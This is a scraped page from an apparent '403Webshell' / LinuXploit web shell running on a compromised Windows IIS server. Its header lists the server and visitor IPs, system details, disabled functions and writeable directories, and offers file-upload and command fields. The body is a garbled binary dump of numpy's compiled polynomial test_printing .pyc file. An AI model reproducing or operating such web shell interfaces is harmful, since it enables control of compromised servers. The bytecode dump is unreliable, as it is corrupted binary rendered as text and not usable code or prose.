403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/numpy/polynomial/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/numpy/polynomial/tests/__pycache__/test_printing.cpython-312.pyc
�

	�g^U��6�ddlmZmZddlZddlmZmZmZddlm	Z
ddlmZm
Z
ddlmZddlmZGd�d�ZGd	�d
�ZGd�d�Zd
�Zd�Zej.j1deedd�edd�ge��dfeddedd�ge��dfeed�ed�dge��dff�d��Zej.j1degd�e��dfeddddgge��dff�d ��ZGd!�d"�Zej.j1d#e
j:d$fe
j<d%fe
j>d&fe
j@d'fe
jBd(fe
jDd)ff�d*��Z#Gd+�d,�Z$Gd-�d.�Z%d/Z&Gd0�d1�Z'y)2�)�nan�infN)�array�arange�printoptions)�assert_equal�assert_)�Fraction)�Decimalc���eZdZejdd��d��Zejjdgd�dfgd�d	fed
�dff�d��Z	ejjdgd�d
fgd�dfed
�dff�d��Z
ejjdgd�dfgd�dfed
�dff�d��Zejjdgd�dfgd�dfed
�dff�d��Zejjdgd�dfgd�dfed
�dff�d��Z
ejjdgd�dfgd�dfed
�dff�d ��Zd!�Zy")#�TestStrUnicodeSuperSubscripts�classT��scope�autousec�.�tjd�y�N�unicode��poly�set_default_printstyle��selfs �FC:\Python312\Lib\site-packages\numpy/polynomial/tests/test_printing.py�use_unicodez)TestStrUnicodeSuperSubscripts.use_unicodes���#�#�I�.���inp�tgt�����1.0 + 2.0·x + 3.0·x²����rr#r&u#-1.0 + 0.0·x + 3.0·x² - 1.0·x³�u�0.0 + 1.0·x + 2.0·x² + 3.0·x³ + 4.0·x⁴ + 5.0·x⁵ + 6.0·x⁶ + 7.0·x⁷ +
8.0·x⁸ + 9.0·x⁹ + 10.0·x¹⁰ + 11.0·x¹¹c�\�tj|�}t|�}t||�y�N)r�
Polynomial�strr)rrr�p�ress     r�test_polynomial_strz1TestStrUnicodeSuperSubscripts.test_polynomial_strs%��
�O�O�C� ���!�f���S�#�r�!1.0 + 2.0·T₁(x) + 3.0·T₂(x)u1-1.0 + 0.0·T₁(x) + 3.0·T₂(x) - 1.0·T₃(x)u�0.0 + 1.0·T₁(x) + 2.0·T₂(x) + 3.0·T₃(x) + 4.0·T₄(x) + 5.0·T₅(x) +
6.0·T₆(x) + 7.0·T₇(x) + 8.0·T₈(x) + 9.0·T₉(x) + 10.0·T₁₀(x) + 11.0·T₁₁(x)c�X�ttj|��}t||�yr)�r+r�	Chebyshevr�rrrr-s    r�test_chebyshev_strz0TestStrUnicodeSuperSubscripts.test_chebyshev_strs!���$�.�.��%�&���S�#�ru!1.0 + 2.0·P₁(x) + 3.0·P₂(x)u1-1.0 + 0.0·P₁(x) + 3.0·P₂(x) - 1.0·P₃(x)u�0.0 + 1.0·P₁(x) + 2.0·P₂(x) + 3.0·P₃(x) + 4.0·P₄(x) + 5.0·P₅(x) +
6.0·P₆(x) + 7.0·P₇(x) + 8.0·P₈(x) + 9.0·P₉(x) + 10.0·P₁₀(x) + 11.0·P₁₁(x)c�X�ttj|��}t||�yr)�r+r�Legendrerr3s    r�test_legendre_strz/TestStrUnicodeSuperSubscripts.test_legendre_str)�!���$�-�-��$�%���S�#�ru!1.0 + 2.0·H₁(x) + 3.0·H₂(x)u1-1.0 + 0.0·H₁(x) + 3.0·H₂(x) - 1.0·H₃(x)u�0.0 + 1.0·H₁(x) + 2.0·H₂(x) + 3.0·H₃(x) + 4.0·H₄(x) + 5.0·H₅(x) +
6.0·H₆(x) + 7.0·H₇(x) + 8.0·H₈(x) + 9.0·H₉(x) + 10.0·H₁₀(x) + 11.0·H₁₁(x)c�X�ttj|��}t||�yr)�r+r�Hermiterr3s    r�test_hermite_strz.TestStrUnicodeSuperSubscripts.test_hermite_str4s!���$�,�,�s�#�$���S�#�ru#1.0 + 2.0·He₁(x) + 3.0·He₂(x)u4-1.0 + 0.0·He₁(x) + 3.0·He₂(x) - 1.0·He₃(x)u�0.0 + 1.0·He₁(x) + 2.0·He₂(x) + 3.0·He₃(x) + 4.0·He₄(x) + 5.0·He₅(x) +
6.0·He₆(x) + 7.0·He₇(x) + 8.0·He₈(x) + 9.0·He₉(x) + 10.0·He₁₀(x) +
11.0·He₁₁(x)c�X�ttj|��}t||�yr)�r+r�HermiteErr3s    r�test_hermiteE_strz/TestStrUnicodeSuperSubscripts.test_hermiteE_str?�!���$�-�-��$�%���S�#�ru!1.0 + 2.0·L₁(x) + 3.0·L₂(x)u1-1.0 + 0.0·L₁(x) + 3.0·L₂(x) - 1.0·L₃(x)u�0.0 + 1.0·L₁(x) + 2.0·L₂(x) + 3.0·L₃(x) + 4.0·L₄(x) + 5.0·L₅(x) +
6.0·L₆(x) + 7.0·L₇(x) + 8.0·L₈(x) + 9.0·L₉(x) + 10.0·L₁₀(x) + 11.0·L₁₁(x)c�X�ttj|��}t||�yr)�r+r�Laguerrerr3s    r�test_laguerre_strz/TestStrUnicodeSuperSubscripts.test_laguerre_strKr9rc���ttjddg��}d}t||�ttjddgddg���}d}t||�y)Nrr!u0.0 + 1.0·xr"��domainu0.0 + 1.0·(-3.0 + 2.0x)�r+rr*r�rr-rs   r�test_polynomial_str_domainsz9TestStrUnicodeSuperSubscripts.test_polynomial_str_domainsVsT���$�/�/�1�a�&�)�*�����S�#���$�/�/�1�a�&�!�Q��8�9��(���S�#�rN)�__name__�
__module__�__qualname__�pytest�fixturer�mark�parametrizerr.r4r8r=rArFrL�rrr
r
s����V�^�^�'�4�0�/�1�/��[�[���^�	�-�.�	�>�?�	���$�	&�.�����
�[�[���^�	�7�8�	�L�M�	���K�	M�.������[�[���^�	�7�8�	�L�M�	���K�	M�.������[�[���^�	�7�8�	�L�M�	���K�	M�.������[�[���^�	�9�:�	�O�P�	���*�	,�.������[�[���^�	�7�8�	�L�M�	���K�	M�.�����rr
c���eZdZejdd��d��Zejjdgd�dfgd�d	fed
�dff�d��Z	ejjdgd�d
fgd�dfed
�dff�d��Z
ejjdgd�dfgd�dfed
�dff�d��Zejjdgd�dfgd�dfed
�dff�d��Zejjdgd�dfgd�dfed
�dff�d��Z
ejjdgd�dfgd�dfed
�dff�d ��Zd!�Zy")#�TestStrAsciirTrc�.�tjd�y�N�asciirrs r�	use_asciizTestStrAscii.use_asciia����#�#�G�,rrr �1.0 + 2.0 x + 3.0 x**2r%z"-1.0 + 0.0 x + 3.0 x**2 - 1.0 x**3r'z}0.0 + 1.0 x + 2.0 x**2 + 3.0 x**3 + 4.0 x**4 + 5.0 x**5 + 6.0 x**6 +
7.0 x**7 + 8.0 x**8 + 9.0 x**9 + 10.0 x**10 + 11.0 x**11c�X�ttj|��}t||�yr)rJr3s    rr.z TestStrAscii.test_polynomial_stres!���$�/�/�#�&�'���S�#�r�1.0 + 2.0 T_1(x) + 3.0 T_2(x)z+-1.0 + 0.0 T_1(x) + 3.0 T_2(x) - 1.0 T_3(x)z�0.0 + 1.0 T_1(x) + 2.0 T_2(x) + 3.0 T_3(x) + 4.0 T_4(x) + 5.0 T_5(x) +
6.0 T_6(x) + 7.0 T_7(x) + 8.0 T_8(x) + 9.0 T_9(x) + 10.0 T_10(x) +
11.0 T_11(x)c�X�ttj|��}t||�yr)r1r3s    rr4zTestStrAscii.test_chebyshev_strps!���$�.�.��%�&���S�#�rz1.0 + 2.0 P_1(x) + 3.0 P_2(x)z+-1.0 + 0.0 P_1(x) + 3.0 P_2(x) - 1.0 P_3(x)z�0.0 + 1.0 P_1(x) + 2.0 P_2(x) + 3.0 P_3(x) + 4.0 P_4(x) + 5.0 P_5(x) +
6.0 P_6(x) + 7.0 P_7(x) + 8.0 P_8(x) + 9.0 P_9(x) + 10.0 P_10(x) +
11.0 P_11(x)c�X�ttj|��}t||�yr)r6r3s    rr8zTestStrAscii.test_legendre_str|rBrz1.0 + 2.0 H_1(x) + 3.0 H_2(x)z+-1.0 + 0.0 H_1(x) + 3.0 H_2(x) - 1.0 H_3(x)z�0.0 + 1.0 H_1(x) + 2.0 H_2(x) + 3.0 H_3(x) + 4.0 H_4(x) + 5.0 H_5(x) +
6.0 H_6(x) + 7.0 H_7(x) + 8.0 H_8(x) + 9.0 H_9(x) + 10.0 H_10(x) +
11.0 H_11(x)c�X�ttj|��}t||�yr)r;r3s    rr=zTestStrAscii.test_hermite_str�s!���$�,�,�s�#�$���S�#�rz1.0 + 2.0 He_1(x) + 3.0 He_2(x)z.-1.0 + 0.0 He_1(x) + 3.0 He_2(x) - 1.0 He_3(x)z�0.0 + 1.0 He_1(x) + 2.0 He_2(x) + 3.0 He_3(x) + 4.0 He_4(x) +
5.0 He_5(x) + 6.0 He_6(x) + 7.0 He_7(x) + 8.0 He_8(x) + 9.0 He_9(x) +
10.0 He_10(x) + 11.0 He_11(x)c�X�ttj|��}t||�yr)r?r3s    rrAzTestStrAscii.test_hermiteE_str�rBrz1.0 + 2.0 L_1(x) + 3.0 L_2(x)z+-1.0 + 0.0 L_1(x) + 3.0 L_2(x) - 1.0 L_3(x)z�0.0 + 1.0 L_1(x) + 2.0 L_2(x) + 3.0 L_3(x) + 4.0 L_4(x) + 5.0 L_5(x) +
6.0 L_6(x) + 7.0 L_7(x) + 8.0 L_8(x) + 9.0 L_9(x) + 10.0 L_10(x) +
11.0 L_11(x)c�X�ttj|��}t||�yr)rDr3s    rrFzTestStrAscii.test_laguerre_str�rBrc���ttjddg��}d}t||�ttjddgddg���}d}t||�y)Nrr!z0.0 + 1.0 xr"rHz0.0 + 1.0 (-3.0 + 2.0x)rJrKs   rrLz(TestStrAscii.test_polynomial_str_domains�sT���$�/�/�1�a�&�)�*�����S�#���$�/�/�1�a�&�!�Q��8�9��'���S�#�rN)rMrNrOrPrQrZrRrSrr.r4r8r=rArFrLrTrrrVrV_s����V�^�^�'�4�0�-�1�-��[�[���^�	�,�-�	�=�>�	���;�	=�.������[�[���^�	�3�4�	�F�G�	���%�	'�.������[�[���^�	�3�4�	�F�G�	���%�	'�.������[�[���^�	�3�4�	�F�G�	���%�	'�.������[�[���^�	�5�6�	�I�J�	���6�	8�.������[�[���^�	�3�4�	�F�G�	���%�	'�.�����rrVc��eZdZejdd��d��Zd�Zd�Zd�Zd�Z	ejjd	d
�d��Zy)
�TestLinebreakingrTrc�.�tjd�yrXrrs rrZzTestLinebreaking.use_ascii�r[rc��tjgd��}ttt	|��d�tt	|�d�y)N)�Na�ririri�{�JzJ12345678.0 + 12345678.0 x + 12345678.0 x**2 + 12345678.0 x**3 + 123.0 x**4�rr*r�lenr+�rr,s  r�test_single_line_one_lessz*TestLinebreaking.test_single_line_one_less�s6���O�O�I�J���S��Q��[�"�%��S��V�
+�	rc��tjgd��}ttt	|��d�tt	|�d�y)N)ririririi��KzK12345678.0 + 12345678.0 x + 12345678.0 x**2 + 12345678.0 x**3 +
1234.0 x**4rlrns  r�test_num_chars_is_linewidthz,TestLinebreaking.test_num_chars_is_linewidth�s6���O�O�J�K���S��Q��[�"�%��S��V�
-�	rc��tjgd��}ttt	|�jd�d�d�tt	|�d�y)N)ririririr!ri�
rrkzZ12345678.0 + 12345678.0 x + 12345678.0 x**2 + 12345678.0 x**3 + 1.0 x**4 +
12345678.0 x**5)rr*rrmr+�splitrns  r�6test_first_linebreak_multiline_one_less_than_linewidthzGTestLinebreaking.test_first_linebreak_multiline_one_less_than_linewidth�sI���O�O�E�
��	�S��Q����d�+�A�.�/��4��S��V�
<�	rc�\�tjgd��}tt|�d�y)N)riririg=
��)�gAr!riz[12345678.0 + 12345678.0 x + 12345678.0 x**2 + 12345678.12 x**3 +
1.0 x**4 + 12345678.0 x**5)rr*rr+rns  r�+test_first_linebreak_multiline_on_linewidthz<TestLinebreaking.test_first_linebreak_multiline_on_linewidth�s(���O�O�H�
��	�S��V�
=�	r)�lwr))rqz�0.0 + 10.0 x + 200.0 x**2 + 3000.0 x**3 + 40000.0 x**4 + 500000.0 x**5 +
600000.0 x**6 + 70000.0 x**7 + 8000.0 x**8 + 900.0 x**9)�-z�0.0 + 10.0 x + 200.0 x**2 + 3000.0 x**3 +
40000.0 x**4 + 500000.0 x**5 +
600000.0 x**6 + 70000.0 x**7 + 8000.0 x**8 +
900.0 x**9)�z�0.0 + 10.0 x + 200.0 x**2 + 3000.0 x**3 + 40000.0 x**4 + 500000.0 x**5 + 600000.0 x**6 + 70000.0 x**7 + 8000.0 x**8 + 900.0 x**9c��tjgd��}t|��5tt	|�|�t	|�jd�D]}t
t|�|k��	ddd�y#1swYyxYw)N)
r�
��i�i@�i �i�'	ipi@i�)�	linewidthrt)rr*rrr+rur	rm)rryrr,�lines     r�test_linewidth_printoptionz+TestLinebreaking.test_linewidth_printoption�sn��
�O�O�G�
���B�
'�	(���Q���%��A����T�*�
(����D�	�B��'�
(�	(�	(�	(�s�AA:�:BN)
rMrNrOrPrQrZrorrrvrxrRrSr�rTrrrfrf�s_���V�^�^�'�4�0�-�1�-���	���[�[���]�
-�
�(�
�(rrfc���tjgd��}tjgd��}tjd�t	t|�d�t	t|�d�tjd�t	t|�d�t	t|�d�t
jt�5tjd�ddd�y#1swYyxYw)	Nr rYr\r^rr$r/�
invalid_input)	rr*r2rrr+rP�raises�
ValueError)r,�cs  r�test_set_default_printoptionsr��s������	�"�A����y�!�A�����(���Q��1�2���Q��8�9����	�*���Q��2�3���Q��<�=�	���z�	"�5��#�#�O�4�5�5�5�s�C%�%C.c�z�gd�}tj|�}tjt|t���}tjd�tt
|�d�tt
|�d�tjd�tt
|�d�tt
|�d�y	)
z%Test both numpy and built-in complex.)y�?y�?�?y�@y@��dtyperu*1j + (1+1j)·x - (2-2j)·x² + (3+0j)·x³u+1j + (1+1j)·x + (-2+2j)·x² + (3+0j)·x³rYz)1j + (1+1j) x - (2-2j) x**2 + (3+0j) x**3z*1j + (1+1j) x + (-2+2j) x**2 + (3+0j) x**3N)rr*r�objectrrr+)�coefs�p1�p2s   r�test_complex_coefficientsr�s���%�E�	
����	�B�	
����u�F�3�	4�B����	�*���R��F�G���R��G�H�����(���R��E�F���R��F�Gr)r�rr!r"r#�r�u1/2 + 3/4·x��u1 + 2·x + 5/7·x²z1.00z2.2u1.00 + 2.2·x + 3·x²c��tj|�}tjd�tt	|�|�yr�rr*rrr+�r�rr,s   r� test_numeric_object_coefficientsr�s.��	
�����A����	�*���Q���r)r!r"�fu1 + 2·x + f·x²u1 + 2·x + [3, 4]·x²c��tj|�}tjd�tt	|�|�y)zK
    Test coef fallback for object arrays of non-numeric coefficients.
    rNr�r�s   r�#test_nonnumeric_object_coefficientsr�$s.��	
�����A����	�*���Q���rc�$�eZdZd�Zd�Zd�Zd�Zy)�
TestFormatc��tjd�tjgd��}tt	|d�d�y)NrY�r!r"rr&ru"1.0 + 2.0·x + 0.0·x² - 1.0·x³�rrr*r�formatrns  r�test_format_unicodezTestFormat.test_format_unicode2s0���#�#�G�,��O�O�M�*���V�A�y�)�+O�Prc��tjd�tjgd��}tt	|d�d�y)Nrr�rYz!1.0 + 2.0 x + 0.0 x**2 - 1.0 x**3r�rns  r�test_format_asciizTestFormat.test_format_ascii7s3���#�#�I�.��O�O�M�*����1�g�� C�	
rc��tjd�tjgd��}tt	|�d�t|�d�y)NrYr r\r�rns  r�test_empty_formatstrzTestFormat.test_empty_formatstr>s:���#�#�G�,��O�O�I�&���V�A�Y� 8�9���s�5�6rc��tjgd��}tjt�5t|d�ddd�y#1swYyxYw)Nr�z.2f)rr*rPr�r�r�rns  r�test_bad_formatstrzTestFormat.test_bad_formatstrDs;���O�O�M�*��
�]�]�:�
&�	��1�e��	�	�	�s�
A�AN)rMrNrOr�r�r�r�rTrrr�r�1s��Q�

�7�rr�)rru1.0 + 2.0·z + 3.0·z²u!1.0 + 2.0·T₁(z) + 3.0·T₂(z)u!1.0 + 2.0·H₁(z) + 3.0·H₂(z)u#1.0 + 2.0·He₁(z) + 3.0·He₂(z)u!1.0 + 2.0·L₁(z) + 3.0·L₂(z)u!1.0 + 2.0·P₁(z) + 3.0·P₂(z)c�8�|gd�d��}t|d�|�y)Nr �z��symbolr)r)rrr,s   r�test_symbolr�Js��	
�Y�s�#�A��A�g�;��%rc�0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)�TestReprc�`�ttjddg��}d}t||�y)Nrr!zFPolynomial([0., 1.], domain=[-1.,  1.], window=[-1.,  1.], symbol='x'))�reprrr*rrKs   r�test_polynomial_reprzTestRepr.test_polynomial_reprXs/���4�?�?�A�q�6�*�+��
�	�	�S�#�rc�`�ttjddg��}d}t||�y)Nrr!zEChebyshev([0., 1.], domain=[-1.,  1.], window=[-1.,  1.], symbol='x'))r�rr2rrKs   r�test_chebyshev_reprzTestRepr.test_chebyshev_repr`s/���4�>�>�1�a�&�)�*��
�	�	�S�#�rc�`�ttjddg��}d}t||�y)Nrr!zDLegendre([0., 1.], domain=[-1.,  1.], window=[-1.,  1.], symbol='x'))r�rr7rrKs   r�test_legendre_reprzTestRepr.test_legendre_reprh�/���4�=�=�!�Q��(�)��
�	�	�S�#�rc�`�ttjddg��}d}t||�y)Nrr!zCHermite([0., 1.], domain=[-1.,  1.], window=[-1.,  1.], symbol='x'))r�rr<rrKs   r�test_hermite_reprzTestRepr.test_hermite_reprps/���4�<�<��A��'�(��
�	�	�S�#�rc�`�ttjddg��}d}t||�y)Nrr!zDHermiteE([0., 1.], domain=[-1.,  1.], window=[-1.,  1.], symbol='x'))r�rr@rrKs   r�test_hermiteE_reprzTestRepr.test_hermiteE_reprxr�rc�`�ttjddg��}d}t||�y)Nrr!z@Laguerre([0., 1.], domain=[0., 1.], window=[0., 1.], symbol='x'))r�rrErrKs   r�test_laguerre_reprzTestRepr.test_laguerre_repr�r�rN)	rMrNrOr�r�r�r�r�r�rTrrr�r�Ws �������rr�c�>�eZdZdZed��Zd�Zd�Zd�Zd�Z	d�Z
y)	�
TestLatexReprz#Test the latex repr used by Jupyterc�H�dd�|_	|j�|`S#|`wxYw)Nc��t|�Sr))r+)�x�parenss  r�<lambda>z(TestLatexRepr.as_latex.<locals>.<lambda>�s
���Q��r)F)�_repr_latex_scalar�_repr_latex_)�objs r�as_latexzTestLatexRepr.as_latex�s+��
"@���	'��#�#�%��&���&�s��!c��tjgd��}t|j|�d�tjgd�ddg��}t|j|�d�tjgd�ddg��}t|j|�d	�tjgd�d
dg��}t|j|�d�y)Nr z%$x \mapsto 1.0 + 2.0\,x + 3.0\,x^{2}$���rrHzK$x \mapsto 1.0 + 2.0\,\left(1.0 + x\right) + 3.0\,\left(1.0 + x\right)^{2}$����?zE$x \mapsto 1.0 + 2.0\,\left(2.0x\right) + 3.0\,\left(2.0x\right)^{2}$r&zQ$x \mapsto 1.0 + 2.0\,\left(1.0 + 2.0x\right) + 3.0\,\left(1.0 + 2.0x\right)^{2}$�rr*rr�rns  r�test_simple_polynomialz$TestLatexRepr.test_simple_polynomial�s����O�O�I�&���T�]�]�1�%�4�	6�
�O�O�I�r�1�g�6���T�]�]�1�%�Z�	\�
�O�O�I�t�S�k�:���T�]�]�1�%�T�	V�
�O�O�I�r�1�g�6���T�]�]�1�%�`�	brc���tjgd��}t|j|�d�tjgd�ddg��}t|j|�d�y)Nr z?$x \mapsto 1.0\,{T}_{0}(x) + 2.0\,{T}_{1}(x) + 3.0\,{T}_{2}(x)$r&rrHzZ$x \mapsto 1.0\,{T}_{0}(1.0 + 2.0x) + 2.0\,{T}_{1}(1.0 + 2.0x) + 3.0\,{T}_{2}(1.0 + 2.0x)$)rr2rr�rns  r�test_basis_funczTestLatexRepr.test_basis_func�sT���N�N�9�%���T�]�]�1�%�N�	P�
�N�N�9�b�!�W�5���T�]�]�1�%�i�	krc�h�tjgd��}t|j|�d�y)Nr zB$x \mapsto 1.0\,{He}_{0}(x) + 2.0\,{He}_{1}(x) + 3.0\,{He}_{2}(x)$)rr@rr�rns  r�test_multichar_basis_funcz'TestLatexRepr.test_multichar_basis_func�s'���M�M�)�$���T�]�]�1�%�Q�	Src��tjgd�d��}t|j|�d�tjgd�ddgd��}t|j|�d�tjgd�d	d
gd��}t|j|�d�tjgd�ddgd��}t|j|�d
�y)Nr r�r�z%$z \mapsto 1.0 + 2.0\,z + 3.0\,z^{2}$r�r)rIr�zK$z \mapsto 1.0 + 2.0\,\left(1.0 + z\right) + 3.0\,\left(1.0 + z\right)^{2}$r�r�zE$z \mapsto 1.0 + 2.0\,\left(2.0z\right) + 3.0\,\left(2.0z\right)^{2}$r&zQ$z \mapsto 1.0 + 2.0\,\left(1.0 + 2.0z\right) + 3.0\,\left(1.0 + 2.0z\right)^{2}$r�rns  r�test_symbol_basiczTestLatexRepr.test_symbol_basic�s����O�O�I�c�2���T�]�]�1�%�4�	6�
�O�O�I�r�1�g�c�B����M�M�!��-�	
�
�O�O�I�t�S�k�#�F����M�M�!��*�	
�
�O�O�I�r�1�g�c�B����M�M�!��0�	
rc��ttdd�td�g�}tj|�}t	|j|�d�y)Nr!r"z$x \mapsto 1/2 + 1\,x$)rr
rr*rr�)rr�r,s   rr�z.TestLatexRepr.test_numeric_object_coefficients�s=���x��1�~�x��{�3�4���O�O�E�"���T�]�]�1�%�'A�BrN)rMrNrO�__doc__�staticmethodr�r�r�r�r�r�rTrrr�r��s5��-��'��'�b�*k�S�
"
�HCrr�)z"1.0 + (1.0e-01) x + (1.0e-02) x**2z"1.2 + (1.2e-01) x + (1.2e-02) x**2z11.23 + 0.12 x + (1.23e-02) x**2 + (1.23e-03) x**3z51.235 + 0.123 x + (1.235e-02) x**2 + (1.235e-03) x**3zG1.2346 + 0.1235 x + 0.0123 x**2 + (1.2346e-03) x**3 + (1.2346e-04) x**4zL1.23457 + 0.12346 x + 0.01235 x**2 + (1.23457e-03) x**3 + (1.23457e-04) x**4za1.234568 + 0.123457 x + 0.012346 x**2 + 0.001235 x**3 + (1.234568e-04) x**4 + (1.234568e-05) x**5zg1.2345679 + 0.1234568 x + 0.0123457 x**2 + 0.0012346 x**3 + (1.2345679e-04) x**4 + (1.2345679e-05) x**5c�b�eZdZdZej
dd��d��Zd�Zd�Zd�Z	d	�Z
d
�Zy)�TestPrintOptionsz�
    Test the output is properly configured via printoptions.
    The exponential notation is enabled automatically when the values
    are too small or too large.
    rTrc�.�tjd�yrXrrs rrZzTestPrintOptions.use_ascii�r[rc���tjgd��}tt|�d�t	d��5tt|�d�ddd�y#1swYyxYw)N�r�g�$I�$I�?gI�$Ir?kAgm۶m��AzC0.5 + 0.14285714 x + 14285714.28571429 x**2 + (1.42857143e+08) x**3r#��	precisionz40.5 + 0.143 x + 14285714.286 x**2 + (1.429e+08) x**3�rr*rr+rrns  r�test_strzTestPrintOptions.test_str�sV���O�O�<�=���S��V�7�	8��A�
&�	7���Q��"6�
7�	7�	7�	7�s�A�A!c���tjgd��}t|j�d�t	d��5t|j�d�ddd�y#1swYyxYw)Nr�zp$x \mapsto \text{0.5} + \text{0.14285714}\,x + \text{14285714.28571429}\,x^{2} + \text{(1.42857143e+08)}\,x^{3}$r#r�za$x \mapsto \text{0.5} + \text{0.143}\,x + \text{14285714.286}\,x^{2} + \text{(1.429e+08)}\,x^{3}$)rr*rr�rrns  r�
test_latexzTestPrintOptions.test_latexsb���O�O�<�=���Q�^�^�%�
/�	0�
�A�
&�	L�����)�K�
L�	L�	L�	L�s�A"�"A+c�4�tjdg�}tt|�d�t	d��5tt|�d�ddd�t	dd��5tt|�d�ddd�y#1swY�5xYw#1swYyxYw)	Nr�z0.5�fixed)�	floatmodez
0.50000000r�)r�r�z0.5000r�rns  r�
test_fixedzTestPrintOptions.test_fixeds���O�O�S�E�"���S��V�U�#�
�G�
,�	/���Q���.�	/��G�q�
9�	+���Q���*�	+�	+�	/�	/��	+�	+�s�B�#B�B�Bc
�2�tt�D]t\}}t|��5tjt|dzdz�D�cgc]}dd|zz��
c}�}t
|�jdd�|k(sJ�	ddd��vycc}w#1swY��xYw)Nr�r"r#gރB��?r}rt� )�	enumerate�
SWITCH_TO_EXPrrr*�ranger+�replace)r�i�sr,s    r�test_switch_to_expz#TestPrintOptions.test_switch_to_exps����m�,�	6�D�A�q���*�
6��O�O�.3�A�q�D��F�m�%=�)*�&0��Q�B��%6�%=�>���1�v�~�~�d�C�0�A�5�5�5�
6�
6�	6��%=�
6�
6�s�#B
�B�'B
�B
�
B	c��tjttg�}t	|�dk(sJ�|j�dk(sJ�t
dd��5t	|�dk(sJ�|j�dk(sJ�	ddd�y#1swYyxYw)Nznan + inf xz&$x \mapsto \text{nan} + \text{inf}\,x$�NAN�INF)�nanstr�infstrzNAN + INF xz&$x \mapsto \text{NAN} + \text{INF}\,x$)rr*rrr+r�rrns  r�test_non_finitez TestPrintOptions.test_non_finite!s����O�O�S�#�J�'���1�v��&�&�&��~�~��#L�L�L�L�
��u�
5�	:��q�6�]�*�*�*��>�>�#�9�:�
:�:�	:�	:�	:�s�&B�BN)rMrNrOr�rPrQrZr�r�r�r�r�rTrrr�r��sB����V�^�^�'�4�0�-�1�-�7�
L�+�6�:rr�)(�mathrrrP�numpy._corerrr�numpy.polynomial�
polynomialr�
numpy.testingrr	�	fractionsr
�decimalrr
rVrfr�r�rRrSr�r�r�r�r*r2r<r@rEr7r�r�r�r�r�rTrr�<module>r�s����
�3�3��/���Q�Q�fT�T�l?(�?(�D
5�H������)�
�H�Q��N�H�Q��N�+�6�:����A�q�(�1�a�.�!��0����G�F�O�W�U�^�Q�/�v�>� ��
,�
��
�������)�
�;�f�%�':�;�
�A�q�1�a�&�>��(�*B�C�,���	����2������	�_�_�/�0�	�^�^�8�9�	�\�\�6�7�	�]�]�9�:�	�]�]�7�8�	�]�]�7�8�
+��&��&�
/�/�dXC�XC�t3�
�8:�8:r

Youez - 2016 - github.com/yon3zu
LinuXploit